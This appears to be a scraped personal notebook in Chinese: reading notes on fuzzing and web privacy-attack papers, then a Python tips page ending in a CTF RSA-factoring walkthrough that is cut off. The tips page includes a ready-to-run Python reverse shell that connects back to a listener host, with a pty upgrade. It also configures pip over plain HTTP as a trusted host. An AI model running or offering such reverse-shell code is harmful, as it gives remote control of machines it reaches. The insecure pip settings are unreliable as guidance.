    更细粒度的有做Java [28]和Android [27]应用的 ;有避免载入不会用到的函数的[34] (函数级别的依赖分析)
    另一个正交的方向:检测和减少运行时内存膨胀 [9,33,40-43]
    输入样例的最小化 场景是测试编译器/解释器,产生能crash的更小的程序 不考虑安全性可读性
    有工作考虑了语法的正确性[23,32,37] 但没考虑语义正确性
    Program slicing 指定一个位置提取程序的一小部分 需要指定语义和依赖关系(challenging),也可能不能去掉漏洞 (这篇文章的方法更好)
    静态可达性分析 不能处理复杂的控制流如间接调用、复杂条件和指针算术
    动态可达性分析 这篇文章的方法更好
    

    future work: more expressive probabilistic models with efficient incremental learning, designing various forms of specification other than input-output examples, applying to debloat programs written in arbitrary languages such as binary.

    GREYONE: Data Flow Sensitive Fuzzing

    USENIX20 PDF

    单词:

    • is labor-intensive and requires lots of manual efforts 需要人工
    • Head-to-Head Comparison 比较不同的work
    • to draw conclusions as objective as possible 尽可能客观
    • 选被测程序的原因 We chose target applications considering several factors, including popularity, frequency of being tested, development activeness, and functionality diversity.
    • 选出来的类别包含 graphics processing libraries (e.g., libcaca and libsixel),
    • shipping with 用afl-cmin的时候说the tool afl-cmin shipping with AFL
    • 确定fuzzing的时间 we test target applications for more time, until the fuzzers reach a relatively stable state (i.e., the order of fuzzers’ performance does not change anymore).
    • Experiments showed that the fuzzers will get stable after testing these applications for 60 hours. So, we tested each application for 60 hours in our experiment.
    • 除了给平均结果 也给出maxinum number
    • a steady and stronger growth trend
    • 大部分方面都更快 in a faster pace than QSYM in most subjects

    idea:

    使用轻量级fuzzing-driven taint inference FTI 有了taint之后用输入优先模型判断先探索哪个路径 变异哪些字节 怎么变异 强调dataflow features: constraint conformance 变量的值与预期值的距离 实验在最新的软件上跑 发现了105个新的bugs,拿到了41个CVE

    RQ1: 怎么做轻量准确的污点分析 FTI变异输入每个字节看变量值的变化 轻量 没有over-taint 缓解under-taint(变异不完整会有) 运行时非常快 RQ2: 有了taint怎么有效指导变异 选择啥路径 选择哪些字节 优先选择能影响更多未到达分支的字节,优先依赖更多优先字节的分支 RQ3: 如何使用数据流特征(污点属性和约束符合性)优化进化方向conformance-guided evolution 优先更高符合性的seeds 能避免Angora的陷入局部最优的问题,另外将正在执行的变异rebase到更好的seeds可以显著优化速度

    符号执行不能处理大程序,不能解决复杂的约束如on-way functions 传统的动态污点分析 需要大量劳动人类工作, 不准确 undertaint的问题 不能处理隐式数据流,非常慢

    不符合non-intererence rule[16]的就有依赖关系 FTI变异的时候是使用预先定义的变异规则 如单位翻转、多位翻转和算术操作,不能保证完全变异 变量值追踪是插代码 special value tracking code 只关注与路径约束有关的变量,同时也能提出值和对应的输入字节比较 一致就是direct copy

    输入字节的权重是它影响的未到达的分支数量,一个未到达分支的权重是它依赖的所有字节权重的和

    变异哪个位置?找当前seed未覆盖的附近的分支 按分支权重倒序;对于一个分支依赖的多个字节,按字节的权重倒序 怎么变异?direct copy如果需要跟一个运行时算出的checksum相等 先得到运行时需要的值,再使用这个值和微小变异来修复对应的输入字节 可以直接知道应该修改哪个offset 需要什么值 indirect copies就随机变异 可以一次变异多个字节 缓解undertaint 除了依赖的字节 也以一个较低的概率变异邻居字节

    计算符合性 对于未到达的分支 定义是两个比较的值之间有多少bit一致, 对于一个已经到达基本块 定义是其所有未到达邻居的符合性的最大值, 对于一个seed 定义是覆盖的所有基本块的符合性的累加

    seed queue新的结构 在相同coverage 发现更高分数的seed的时候 替换;在发现相同coverage 相同分数 但基本块conformance的分布不同的时候,加入的这个Node数组

    这种方式可以与梯度下降相当,还能避免Angora的陷入局部最优的问题 在替换seed后 后续对这个seed的使用也立刻换成新的seed 这样可以在LAVA数据集上快3倍

    选seed的时候 给高分数的更高权重

    selective testing 相比AFL的coverage tracking多了两个模式:FTI变量值监测,进化优化算conformance分数 当conformance一段时间不增加了就切回AFL的模式 提高运行速度

    conformance计算用的by operations like __builtin_popcount FTI用到的值监测 用的bitmap的结果 给每个变量一个全局唯一的ID

    LAVA-M除了who也有unlisted bugs?

    更深入的分析: FTI的under taint问题 FTI有没有用? 实现一个基于DTA的镜像比较 各个不同部分对结果的贡献 去掉优先策略,去掉conformance进化 三者比较 selective fuzzing 比较执行速度

    其他Paper:

    DigFuzz[45] 用了符号执行 概率路径优先模型
    TaintInduce[46]可以自动推测出propagation rules
    ProFuzzer[42]也是一次变异一个字节 但只关注coverage变化 不能推断出污点的依赖关系 和FairFuzz[24]都能推断partial type of mutated bytes 但对这个分支是否已经到过是insensitive的
    MutaFlow[26] 监测sink APIs的变化 参数是否被tainted
    REDQUEEN[4] 能处理direct copy但不能找到精确的位置 需要百次运行来获得a colorized version with higher entropy 再测一遍获得位置 整个过程太慢
    Intel-laf[1] 将长的比较分割成短的比较 但是带来更多语义相同的路径 不能处理非常量比较
    SYMFUZZ[8] 可以检测input bits之间的依赖 计算出optimal mutation ratio
    

    VUzzer的变异操作

    https://github.com/vusec/vuzzer/blob/f6f7d593a0e76e86afb3c7af6d5186f897bab979/operators.py#L291

    这里我们分析一下vuzzer实现的变异操作,其所有operators为一个数组,每个元素都是一个函数

    同一个函数可以出现多次,排序后如下所示,我按照我的理解标注了功能:

    add_random 选择一个随机位置 插入随机字符串
    add_random
    add_random
    change_bytes 根据TAINTMAP修改
    change_bytes
    change_random 选择一部分字节替换为随机字符串
    change_random
    change_random_full 选择一部分字节替换为随机字符串或从程序中提取出的magic bytes
    change_random_full
    double_fuzz 随机选择两种mutator
    eliminate_double_null 删去\0\0
    eliminate_null 将\0替换为A
    eliminate_random 随机删去一部分
    eliminate_random
    int_slide 将特定位置变为 \xFF\xFF\xFF\xFF 或 \x80\x00\x00\x00 或 \x00\x00\x00\x00
    lower_single_random 随机变异1~100次:每次选择一个随机字符变为其-1
    raise_single_random 随机变异1~100次:每次选择一个随机字符变为其+1
    single_change_random 随机变异1~100次:每次选择一个随机字符变为随机字符
    totally_random 生成一个长度在100~1000的字符串
    

    Leaky Images: Targeted Privacy Attacks in the Web

    Usenix19 PDF

    攻击者可以知道用户在google,onedrive,dropbox的登录身份,通过特定分享一个图片看能否成功加载

    在intro里就给出一个吸引人的例子:用来去匿名化审稿人——收集所有committe的邮箱分享图片,论文中给个攻击者网站的链接

    表格1比较相关的攻击:追踪像素、社交媒体指纹(是否登录)、CSRF(有副作用)、本文Leaky images

    比较:谁能攻击? 攻击者能实现啥? 用途场景

    所有网站都能发起攻击,可以准确找出受害者,定向的fine-grained去匿名化

    研究了250个最流行网站的30个 找到8个网站有漏洞 手工找 共享的图片能通过一个link加载 且只有特定用户能访问(基于cookie的访问控制)

    贡献:

    • 新的攻击 定向隐私攻击滥用图片共享服务来确定受害者是否正在访问攻击者的网站
    • 讨论了攻击的各个变种 可以攻击aim at单个用户 一群用户 不同服务之间link用户 以及不需要js的
    • 展示8个流行网站存在问题 让第三方网站能定位他们的用户
    • 提出多种缓解问题的方案并讨论优缺点

    Table2 shows a two-dimensional matrix 根据是否鉴权+URL是公开、不同用户相同、不同用户不同来区分,只有需要鉴权+公开url 和 需要鉴权+url对攻击者可知 才能做Leaky image攻击

    讨论部分:在方法一节中就讨论related work,比较追踪像素、指纹、定向攻击vs大规模追踪。定向攻击据说对高价值受害者越来越流行[37]

    现实measurement的讨论 Our study of … in real-world sites enables several observations.

    • Leaky images是普遍的 prevalent
    • 受害者甚至不会注意到被共享了一个图片
    • 受害者不能unshare
    • 图片共享服务使用了多种实现策略的混合 use a diverse mix of implementation strategies
    • 不同网站攻击面不同 varies from site to site

    表达:

    仅仅需要 involve nothing more than …

    证明现实存在能影响今天最流行网站 Section 4 shows that these cases occur in practice, and that they affect some of today’s most popular websites.

    为了理解最流行网站受影响的程度 To understand to what extent popular websites are affected by the privacy problem discussed in this paper

    第一且最重要的The first and perhaps most important observation is that …

    希望能促进以后更自动化的研究 We hope that our results will spur future work on more automated analyses that identify leaky images

    讨论每个解决方案不足

    The drawback of this fix is that …

    On the downside, implementing this defense may …

    However, this mitigation cannot defend against …

    require the developers to be aware of the vulnerability in the first place. 事先就知道这个漏洞的存在

    和GDPR很搭,要求设计上默认保护 would be in the spirit of the newly adopted European Union’s Genearl Data Protection Regulation which requires data protection by design and by default.

    需要更多研究来深入分析可用性+兼容性+部署开销,to aid the browser vendors to take an informed decision, future work should perform an in-depth analysis of all these defenses in terms of usability, compatibility and deployment cost, in the style of … [9], and possibly propose additional solutions.

    补充了一种新的攻击Leaky images adds a privacy-related attack to the set of existing targeted attacks.

    厂商修复说明问题很重要 This feedback shows that the problem we identified is important to practitioners.

    我们的论文帮助提高开发者和研究者的意识以后避免这个问题 Our paper helps raising awareness among developers and researchers to avoid this privacy issue in the future.

    技术:

    不用onload也可以去检查已经加载的图片的宽高

    嵌套加载 在外面的失败就会加载里面的,这个方案不需要js

    图片分享服务能分享给一批用户,把每个受害者编码成bit vector,每个bit关联一个图 encode each victim with a bit vector and to associate each bit with one shared image

    这个攻击假设了用户已经在浏览器登录,Skype大部分用户都是通过电脑手机的client,所以这个攻击的影响有限 hence the impact of this attack is limited to the web users

    根本原因 js和图片都不受同源策略影响

    缓解措施:

    服务端:这些方法都要求开发者首先就意识到这种攻击的存在

    禁用基于cookie的鉴权,不同用户url不同 不足:链接的私密性可以被comrpmised如不安全的通道,浏览器的侧信道或者直接让用户以不安全的方式处理链接

    更严格的cookie鉴权,不同用户url不同 不足:实现可能困难要维护用户和url的映射,而且增加了新的访问控制性能损耗

    用CSRF的方式 检查origin头 不足:不能防御信任域的攻击 Facebook之前都允许用户设置html代码

    浏览器:

    默认不使用cookie加载第三方图片

    只有当浏览器确定鉴权与否不影响加载图片的内容 扩展就是默认禁止 用csp扩展来允许双重加载

    类似于ShareMeNot[32] 实现默认阻止第三方图片请求 除非用户显式同意

    浏览器做information flow control 保证图片是否加载成功的信息不发给服务器 但这个侧信道太多

    高级用户:

    图片共享服务商应该提供用户更多控制,例如应该决定谁有权限共享给他,以及当前被共享的列表 但大部分用户不关心while the majority of the users are unlikely to take advantage of such fine-grained controls.

    ================================================ FILE: docs/Python/index.html ================================================ Python - notebook

    Python

    嗯哼,Python很好玩呢…有人说Python是能运行的伪代码,就写代码的速度而言是显著优于C的,也有很多好用的类库呢,反正强烈推荐这门语言啦~

    当你尝试一个包的时候,注意自己的py文件名称不能与包名重名,例如不要出现flask.py


    安装pip

    curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
    python get-pip.py
    

    设置pip源 - mirrors.aliyun.com

    如果只需要一次性安装个包(如Dockerfile):

    pip install -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com
    

    在Linux服务器上安装python的包时,执行这段代码可以将pip源改为国内的阿里镜像(豆瓣源似乎不再更新),能显著提高包的下载速度

    mkdir -p ~/.pip
    echo """
    [global]
    index-url = http://mirrors.aliyun.com/pypi/simple/
    [install]
    trusted-host=mirrors.aliyun.com
    """>~/.pip/pip.conf
    

    至于Windows用户,在用户目录下创建一个pip目录,如:C:\Users\chenyuan\pip,新建文件pip.ini,内容如下:

    [global]
    index-url = http://mirrors.aliyun.com/pypi/simple/
    [install]
    trusted-host=mirrors.aliyun.com
    

    反弹shell

    首先自己的服务器上用nc -l 端口

    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(( "IP地址" , 端口 ))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"])
    

    单行版本:

    IP="x.x.x.x";PORT=6666;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(( IP , PORT ));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])
    

    获得一个tty

    python -c 'import pty; pty.spawn("/bin/sh")'
    

    让requests使用多个IP

    requests包并没有使用socket.create_connection函数,所以替换socket.create_connection并不够

    def function_hook_parameter(oldfunc, parameter_index, parameter_name, parameter_value):
        """
        创造一个wrapper函数,劫持oldfunc传入的第parameter_index名为parameter_name的函数,固定其值为parameter_value; 不影响调用该函数时传入的任何其他参数
        用法: 原函数 = function_hook_parameter(原函数, 从1开始计数的参数所处的位置, 这个参数的名称, 需要替换成的参数值)
    
        例子: 需要劫持socket.create_connection这个函数,其函数原型如下: 
                   create_connection(address, timeout=_GLOBAL_DEFAULT_TIMEOUT, source_address=None)
               需要对其第3个参数source_address固定为value,劫持方法如下
                   socket.create_connection = function_hook_parameter(socket.create_connection, 3, "source_address", value)
        """
        real_func = oldfunc
        def newfunc(*args, **kwargs):  # args是参数列表list,kwargs是带有名称keyword的参数dict
            newargs = list(args)
            if len(args) >= parameter_index:  # 如果这个参数被直接传入,那么肯定其前面的参数都是无名称的参数,args的长度肯定长于其所在的位置
                newargs[parameter_index - 1] = parameter_value  # 第3个参数在list的下标是2
            else:  # 如果不是直接传入,那么就在kwargs中 或者传入的可选参数中没有这个参数,直接设置kwargs即可
                kwargs[parameter_name] = parameter_value
            return real_func(*newargs, **kwargs)
        return newfunc
    
    
    myip = "x.x.x.x" #你需要使用的IP,需要操作系统已经取得这个IP
    import socket
    socket.create_connection = function_hook_parameter(socket.create_connection, 3, "source_address", (myip, 0))
    import requests
    bakup_create_connection = requests.packages.urllib3.util.connection.create_connection #备份一份以备后续继续替换
    requests.packages.urllib3.util.connection.create_connection = function_hook_parameter(requests.packages.urllib3.util.connection.create_connection, 3, "source_address", (myip, 0))
    
    # 验证是否成功修改源IP
    print(requests.get("http://ip.cn").text) #访问网站查看当前使用的公网IP,如果内网你可以自行搭建服务器查看访问日志从而确定IP
    
    # 如果后续还要进行替换,则应该传入bakup_create_connection
    mynewip = "x.x.x.y" #另外一个当前操作系统已经取得的IP
    requests.packages.urllib3.util.connection.create_connection = function_hook_parameter(bakup_create_connection, 3, "source_address", (mynewip, 0))
    

    Python多线程模板

    使用threading模块进行开发

    MultiThread_Template.py

    http.server(BaseHTTPServer)并发性改善

    New version 不必修改库代码

    在使用BaseHTTPServer.HTTPServer的时候,对其使用的父类修改创造自己的类,参考How to dynamically change base class of instances at runtime?

    import BaseHTTPServer # 如果py3,需要import http.server as BaseHTTPServer
    import socketserver
    MyHTTPServer = type('MyHTTPServer', (socketserver.ThreadingTCPServer,), dict(BaseHTTPServer.HTTPServer.__dict__))
    
    def MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
        pass # 省略handler的代码,一些do_GET,do_POST的函数
    
    httpd = MyHTTPServer( ('0.0.0.0', 80), MyHandler)
    httpd.serve_forever()
    

    怎么知道MyHTTPServer的父类确实被修改了呢? 可以查看其__mro__属性(Method Resolution Order attribute)

    Old version 修改库代码(不建议)

    参考资料:利用Python中SocketServer 实现客户端与服务器间非阻塞通信

    直接修改BaseHTTPServer的代码中的一个细节,将BaseHTTPServer类继承的原先只能支持单个请求的SocketServer.TCPServer改为每个连接一个线程的SocketServer.ThreadingTCPServer,使BaseHTTPServer能支持并发而不是一次只能处理单个请求

    Python3的方法

    在Python3中BaseHTTPServer改名为http.server了,首先找到http.server所在的py文件:

    python3 -c "import http.server; print(http.server)"
    

    修改其提示的文件,例如我这里是/usr/lib/python3.4/http/server.py

    搜索class HTTPServer,如果是用vim可以用/class HTTPServer

    修改找到的这一行,改为:

    class HTTPServer(socketserver.ThreadingTCPServer):
    

    Python2的方法

    首先找到BaseHTTPServer在哪:

     python -c "import BaseHTTPServer; print(BaseHTTPServer)"
    

    修改对应的文件,如/usr/lib/python2.7/BaseHTTPServer.py,注意不要打开他直接提示的pyc文件而是要对应的同名py文件

    找到这行(vim中可以输入/class HTTPServer进行搜索):

    class HTTPServer(SocketServer.TCPServer):
    

    修改其继承的父类:

    class HTTPServer(SocketServer.ThreadingTCPServer):
    

    无root权限安装Python

    下载最新版python源码后指定prefix编译,假设用户目录为/home/chenyuan

    apt-get install libssl-dev openssl 
    curl -O https://www.python.org/ftp/python/3.5.2/Python-3.5.2.tgz
    tar -xzf Python-3.5.2.tgz
    cd Python-3.5.2/
    ./configure --prefix=/home/chenyuan/python3
    make
    make install >/dev/null
    pushd /home/chenyuan/python3/bin
    cp python3 python
    cp pip3 pip
    alias python3=`pwd`/python
    alias pip3=`pwd`/pip
    

    中文输出乱码问题

    方法1:运行py前设置环境变量

    export PYTHONIOENCODING=utf8
    

    方法2:强制修改stdout

    import sys
    sys.stdout=open(1, 'w', encoding='utf-8', closefd=False)
    

    遵循PEP8检查你的代码

    pycodestyle

    安装并使用pycodestyle检查代码,忽略E501一行不能长于80个字符的限制:

    pip install pycodestyle
    pycodestyle --show-source --ignore=E501 yourcode.py
    

    生成随机字符串

    import random
    import string
    def random_str(length=8):
        return "".join(random.sample(string.ascii_letters, length))
    
    from random import Random
    def random_str(randomlength=8):
        str = ''
        chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
        length = len(chars) - 1
        random = Random()
        for i in range(randomlength):
            str+=chars[random.randint(0, length)]
        return str
    

    Python解方程

    需要 pip install sympy

    from sympy import *
    # 解一元方程:
    #   2x^2-18=0
    x=Symbol('x')
    print(solve(2*x**2-18,x))
    # 得到[-3,3]
    
    # 解方程组
    #   y=1-x
    #   3x+2y-5
    x,y=symbols('x y')
    print(solve([ y-1+x, 3*x+2*y-5 ], [ x , y ]))
    # 得到{x: 3, y: -2}
    

    大数据判断in

    一定要用set,因为set的in操作是O(1)的,用list是O(n)速度太慢


    解决Python.h: No such file or directory

    apt-get install -y python-dev python3-dev
    

    如果为CentOS系统:

    yum install python-devel
    

    二进制字符串转普通字符串

    方法一:将字符串每8个分成一组,用int转10进制,再用chr转为ascii字符

    s="0110001101111001"
    ans=""
    for i in range(0,len(s)//8):
        x = s[i*8:i*8+8]
        ans+=chr(int(x,2))
    

    方法二:利用binascii,先用int转为10进制,然后转为16进制字符串,调用unhexlify执行翻译

    import binascii
    s="0110001101111001"
    ans=binascii.unhexlify('%x'%int(s,2)).decode()
    

    补充:相应的如果要把十进制转为二进制,可以用bin(123)[2:]


    十六进制字符串转bytes字符串

    from base64 import b16encode,b16decode
    print( b16encode(b'py3.io').decode() ) #output: 7079332E696F
    print( b16decode("7079332E696F".upper()) ) #output: b'py3.io', 这里使用upper转大写
    

    相应的,拿到一个十进制数,转字符串:

    key = 5287002131074331513
    print( b16decode( hex(key)[2:].upper() ) )#output: b'I_4m-k3y'
    

    用Python3写PAT心得

    • 如果发生格式错误,检查输出的最后一行的print,加上end=”“表示不要换行

    • 如果数据规模大导致超时,代码中的in操作前先把list转为set,能大幅度提速


    用requests进行post

    需要注意加上这两个参数:

    ,allow_redirects=False,headers={"Content-Type": "application/x-www-form-urlencoded"}
    

    登录请求的时候是要根据返回的headers里面Location有没有对不对来判断登录是否成功的,而requests默认会跟随301/302跳转,导致无法获取到跳转请求的headers,所以加上allow_redirects=False

    另外就是post数据的时候必须给出正确的Content-Type,否则服务器不认这个post的

    再者就是可能对方有反爬虫措施,加上Referer和User-Agent就好咯

    如果需要提交的是json的数据,记得post的data的单双引号要正确,应该用json.dumps的结果去post

    如果要做爬虫,欢迎使用我的EasyLogin,无需再操心这些细节,专注于核心爬虫代码


    通过tkinter获取、修改剪贴板

    支持py2和py3,Learned from https://www.daniweb.com/programming/software-development/code/487653/access-the-clipboard-via-tkinter

    try:
        from tkinter import Tk
    except ImportError:
        from Tkinter import Tk
    root = Tk()
    root.withdraw() #隐藏Tk的窗口
    text = "Donnerwetter"
    # 清空剪贴板 clear clipboard
    root.clipboard_clear()
    # 写入剪贴板 write text to clipboard
    root.clipboard_append(text)
    # 读取剪贴板 text from clipboard
    clip_text = root.clipboard_get()
    print(clip_text)  # --> Donnerwetter
    

    符号数与无符号数转换

    无符号→有符号,为了加上负号:

    import ctypes
    ctypes.c_int64(17039472050328044269).value
    

    上述将得到-1407272023381507347

    有符号→无符号,为了去掉负号:

    import ctypes
    ctypes.c_uint64(-1407272023381507347).value
    

    上述将得到17039472050328044269


    使用signal.SIGALRM在限定时间后退出进程 (only Linux)

    在设计CTF的题目的时候,有必要限制用户的连接时间,这时候简单方案就是用SIGALRM信号咯

    def clock(timeout=5):
        import signal
        def signal_handler(signum,data):
            if signum == signal.SIGALRM:
                print("Time is up!")
                exit()
        signal.signal(signal.SIGALRM, signal_handler)
        signal.alarm(int(timeout))
    

    捕捉用户的Ctrl+C

    特殊情况下我们想屏蔽掉Ctrl+C,这时候写个自己的函数处理SIGALRM信号就好啦

    import signal
    
    def signal_handler(signum,data):
        if signum == signal.SIGINT:
            print("Ctrl+C is pressed!")
            #raise KeyboardInterrupt
    
    if __name__ == '__main__':
        signal.signal(signal.SIGINT, signal_handler)
        sleep(666)
    

    使用signal.SIGALRM实现定时器 (only Linux)

    实现一个类似Javascript的setInterval功能

    import signal
    from time import sleep
    INTERVAL=1
    COUNT=0
    def signal_handler(signum,data):
        global COUNT
        if signum == signal.SIGALRM:
            # 你的定时器代码写在这里 Your function here
            print("Count! {}".format(COUNT))
            COUNT+=1
            signal.alarm(int(INTERVAL)) #再设置一个clock就能循环往复咯
    
    if __name__ == '__main__':
        signal.signal(signal.SIGALRM, signal_handler)
        signal.alarm(int(INTERVAL))
        sleep(23333)
    

    使用pdb进行调试

    在需要调试的文件头部加入

    import pdb
    

    需要停下来的地方加入

    pdb.set_trace()
    

    Tutorial: https://github.com/spiside/pdb-tutorial


    使用Python开发Serverless(Function as Service)后端服务

    项目地址 & 部署过程

    如果您只是需要部署一个Example,↑↑↑(顺手求个Star);如果您对这个代码是如何写出来的和踩坑过程感兴趣,继续看吧:

    踩过的坑与解决过程(论阿里云是怎么把人气死的)

    1.API网关与函数计算的对接

    按照教程,当时不够耐心,拿着hello world的程序(不要信教程中的2.1部分的截图)就在使用API网关,结果总是返回503

    耐心下来看文档把程序改为后面的撞墙式程序就好了,人家其实说了函数计算应该返回的数据结构,不按照这个结构来就会503:

    {
        "isBase64Encoded": True或者False,
        "statusCode": 200, #可以为302来实现跳转
        "headers": {...} #返回的response headers,但其中的Content-Type没有作用
        "body": "..." #返回的网页正文内容
    }
    

    2.修改API网关参数定义后要再次发布

    无论有没有改Mock设置,只要改动了设置都需要重新发布,发布线上版本即可

    3.不能使用Windows版本的fcli工具(fcli.exe)

    人家已经发布了新版本的fcli解决了此问题

    这个bug简直了,整个流程如下:

    按照文档说明一路部署上传都没有问题,调用函数的时候却说Unable to import module 'index'

    然后我就在Linux服务器上docker pull python:2.7然后docker run -it --rm -v /root/ical:/code python:2.7 /bin/bash,进入bash后cd /code; python,进入python后import index`

    啊哈,发现是ImportError: No module named 'bs4',自己的锅,用pip install bs4 -t .一个个解决依赖包后,在docker容器中总算是能够跑起来了,且能正常返回了

    然后用fcli.exe shellmkf再上传一次,调用函数还是老样子Unable to import module 'index',令人很抓狂。。。

    突然想到不能被import应该是全局的import失败了,多次折腾后,把from grabber import grabber移动到index函数中,总算得到了明确的报错:还是ImportError: No module named 'bs4';哈?这是什么鬼,明明我都把bs4文件夹放到代码目录下了,为啥还是报错?

    既然他说import失败,会不会是Python搜索包的PATH的问题,于是Google到了把当前文件所在的目录加入搜索的方法:

    sys.path.append(os.path.dirname(os.path.abspath(__file__)))
    

    Orz, 还是没有用。。。

    想到既然部署后代码文件夹/code没有我需要的依赖包,那/code文件夹里面到底有啥呢?果断fuck一下,在index函数开头写上:

    def index():
        return {"fuck": list(os.listdir("/code"))}
        import bs4 #会出错的import
        ...#正常代码
    

    总算调用成功了,然后一看输出结果,woc! (内心中骂了多次mdzz阿里云

    给张截图:

    os.listdir应该返回的是当前这个文件夹下含有的文件名称和文件夹名称,而现在我们看到的是含有\\很像路径名的东西,说明这个fcli.exe把windows的\\路径名当成了文件名的一部分,部署后在/code文件夹下也就对应创建了名称为bs4\\__init__.py这样的文件(根本没有bs4子文件夹),Python当然会找不到bs4这个包啊!摔!

    改用人家fcli的Linux 64bit版本,问题解决。。。

    总结一下,万万想不到Windows版本的工具(针对0.5版本)会把路径分隔符\\当成文件名一部分来看待,真是大开眼界


    修复Linux下gbk编码的文件名

    代码见code/fixgbknames.py

    在特殊情况下,Linux中可能会有gbk编码的文件名,这种文件用ls查看都是乱码,难以操作

    如何修复这些错误的文件名呢?用到python3提供的os.walk(b”.”)就能得到bytes类型的文件名,然后os.system调用bytes类型的mv命令行就好啦~


    Crack RSA!

    题目信息

    题目来源:清华蓝莲花战队纳新表(需自备梯子)

    密码学 (Cryptography)

    RSA算法的原理以及破解,请下载这个文件,解密其中的flag.enc文件。

    RSA是啥

    略…(连这个都不知道还不去google,你适不适合CTF心里一点B数都没有吗)

    符号约定: n一个大数, p和q是它的质因子,d私钥,m信息明文,c信息密文

    破解的数学原理

    参考:https://stackoverflow.com/questions/4078902/cracking-short-rsa-keys

    Google搜索关键词 crack rsa key

    给定公钥n和e,假定我们成功分解n = p * q,那么求出d

    d = e^-1 mod phi(n)
      = e^-1 mod (p-1)*(q-1)
    

    现在我们有了私钥d,可以对密文c解密得到明文m:

    m = c^d (mod n)
    

    实现它

    题目给的公钥是啥格式,怎么读取出N和e?

    题目给的公钥是这样的:

    -----BEGIN PUBLIC KEY-----
    MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAMgVHv67DCP6oRAiQJxaEuSluWmE5iZb
    e+fuqvuwBPUfAgMBAAE=
    -----END PUBLIC KEY-----
    

    看起来很短,估计是可以分解的比较小的N

    google搜索关键词:openssl get n from public key

    参考:https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key

    人家给出了这样的做法:(环境Linux,已经安装openssl)

    # 丢弃头尾的---行,提取公钥内容并合并一行(这是base64编码的字符串)
    PUBKEY=`grep -v -- ----- public.pem | tr -d '\n'`
    # 编码格式是asn1,查看这种编码的格式
    echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i
    

    将输出:

        0:d=0  hl=2 l=  60 cons: SEQUENCE
        2:d=1  hl=2 l=  13 cons:  SEQUENCE
        4:d=2  hl=2 l=   9 prim:   OBJECT            :rsaEncryption
       15:d=2  hl=2 l=   0 prim:   NULL
       17:d=1  hl=2 l=  43 prim:  BIT STRING
    

    最后一行BIT STRING就是数据所在的位置,偏移为17

    提取出来:

    echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i -strparse 17
    

    得到:

        0:d=0  hl=2 l=  40 cons: SEQUENCE
        2:d=1  hl=2 l=  33 prim:  INTEGER           :C8151EFEBB0C23FAA11022409C5A12E4A5B96984E6265B7BE7EEAAFBB004F51F
       37:d=1  hl=2 l=   3 prim:  INTEGER           :010001
    

    嗯~这样就看到十六进制的n和e啦,转为十进制的话python里面直接输入:

    n = 0xC8151EFEBB0C23FAA11022409C5A12E4A5B96984E6265B7BE7EEAAFBB004F51F
    print(n) 
    

    上述python执行后将输出

    90499887424928873790510606439768063703452393541528122252967476339871041516831

    同理我们得知e=65537,一般RSA加密都会把公钥的e选为65537

    怎么分解n 得到p和q?

    你可以自己写代码,然而我懒,直接查数据库:

    打开factordb.com这个神奇的网站,输入n的值就能查到分解结果啦:

    http://factordb.com/index.php?query=90499887424928873790510606439768063703452393541528122252967476339871041516831

    分解结果:

    9049988742...31<77> = 283194537446483890135816972554288437117<39> · 319567913424286672035093410391626922443<39>
    

    好了,我们就知道 p q了,具体哪个是p哪个是q并不重要

    p=283194537446483890135816972554288437117, q=319567913424286672035093410391626922443

    怎么计算私钥d

    根据RSA原理, d = e^-1 mod (p-1)*(q-1), 现在我们有了p和q,mod后面的(p-1)*(q-1)自然是可以求出来的

    但e^-1是个啥玩意?倒数? 倒数还能求模?

    emmm 其实是求逆元啦 然而不会写代码怎么办,当时是继续google啊

    google关键词: python calculate inverse mod

    参考:https://stackoverflow.com/questions/4798654/modular-multiplicative-inverse-function-in-python

    得到代码:

    def egcd(a, b):
        if a == 0:
            return (b, 0, 1)
        else:
            g, y, x = egcd(b % a, a)
            return (g, x - (b // a) * y, y)
    
    def modinv(a, m):
        g, x, y = egcd(a, m)
        if g != 1:
            raise Exception('modular inverse does not exist')
        else:
            return x % m
    

    看不懂这代码在干啥?我也看不懂,但没关系,直接用就行 这么多人点赞肯定是对的

    那现在就着手把这代码搬运到我们的py中咯:

    N = 0xC8151EFEBB0C23FAA11022409C5A12E4A5B96984E6265B7BE7EEAAFBB004F51F
    e = 0x10001
    
    p = 283194537446483890135816972554288437117
    q = 319567913424286672035093410391626922443
    
    def egcd(a, b):
        if a == 0:
            return (b, 0, 1)
        else:
            g, y, x = egcd(b % a, a)
            return (g, x - (b // a) * y, y)
    
    def modinv(a, m):
        g, x, y = egcd(a, m)
        if g != 1:
            raise Exception('modular inverse does not exist')
        else:
            return x % m
    
    d = modinv(e, (p-1)*(q-1))
    print(d)
    

    上述python将输出34458919248694250828820386546500026880096887166581679876896066449320377773297, 真是一个好大的d啊。。。

    怎么把flag.enc当成一个int读入?

    试图用记事本打开flag.enc,乱码了;那用二进制形式打开flag.inc文件看看:

    emmm一共32字节长的密文,直接读文件将得到bytes strig,怎么把它转为一个很大的整数呢?

    google关键词: python byte string to int

    参考:https://stackoverflow.com/questions/444591/convert-a-string-of-bytes-into-an-int-python

    人家给出了python3.2以后可以用int.from_bytes的方式,继续写我们的py咯:

    encrypteddata = open('flag.enc','rb').read()
    c = int.from_bytes(encrypteddata, 'big')
    print(c)
    

    这里的’big’表示大端存放的方式,就是最重要的那一位是靠左边的

    插一句:通过询问其他大佬,我也折腾出了一种naive的方法——使用binascii模块先转为hex编码,然后hex按16字节转int:

    encrypteddata = open('flag.enc','rb').read()
    import binascii
    c = int(binascii.b2a_hex(encrypteddata).decode(),16)
    print(c)
    

    计算明文

    公式(密码学肯定要考的,所以再记一次咯)

    m = c^d (mod n)
    

